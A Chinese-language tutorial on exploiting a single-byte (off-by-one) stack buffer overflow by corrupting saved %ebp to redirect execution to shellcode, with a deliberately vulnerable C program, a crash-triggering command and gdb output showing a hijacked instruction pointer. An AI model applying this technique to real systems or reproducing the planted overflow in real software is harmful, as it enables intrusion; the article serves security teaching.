技术开发 频道

一种新的单字节缓冲区溢出技术


【IT168技术文档】

  正如你所看到的,有关单字节缓冲区溢出问题确实存在及可利用,但是有没有一种好的方法,例如说猜测地址来实现呢?答案当然是肯定的。想一想,当发生单字节溢出的时候,%ebp被我们覆盖,如果我们将buffer填满跳转地址,其中跳转地址指向我们的shellcode,它可以放在argv[]或者是环境变量中,那么,当两次ret后,从堆栈中弹出来的地址就会跳到我们的shellcode。如下图:

  栈顶(低地址) 栈顶(低地址)
|----------|-+ |----------| | 跳转地址 | | | ...... |-+ |----------| | |----------| | | 跳转地址 | | | ...... | | |----------| | |----------| | +->| ...... | | | ...... | | | |----------| | |----------| | | | ...... | |------------->| ...... | | | |----------| | |----------| |==>shellcode | | ...... | | | ...... | | | |----------| | |----------| | | | 跳转地址 | | | ...... | | | |----------| | |----------| | | | 跳转地址 | | | ...... | | | |----------|-+ |----------| | +--|保存的%ebp|<-1字节被覆盖 | ...... | | |----------| |----------| | |保存的%eip| | ...... |-+ |----------| |----------|
  栈底(低地址) 栈底(低地址)

  在这种情况下,我们实际上仍然要提供两个offset给exploit,一个覆盖%ebp的偏移,一个 shellcode地址偏移。但是我们还是有一种方法,即用一个特别的字节来覆盖%ebp的最后一个字节,是%ebp总在buffer里,这样,最后需要猜测的只剩下shellcode地址,与普通的缓冲区溢出一样了。
  我们同样来分析warning3的《单字节缓冲区溢出》中的漏洞程序:
#include<stdio.h> vul(char *p){ char buf[255]; int i; for(i=0;i<=256;i++){ buf[i]=p[i]; } } int main(int argc,char **argv){ if(argc>1) vul(argv[1]); } [laolang@localhost teach]$ gcc only.c -o only [laolang@localhost teach]$ ./only `perl -e 'print "a"x256'` Segmentation fault (core dumped) [laolang@localhost teach]$ gdb -q only -c core Core was generated by `./only aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 #0 0x61616161 in ?? () (gdb)
0
相关文章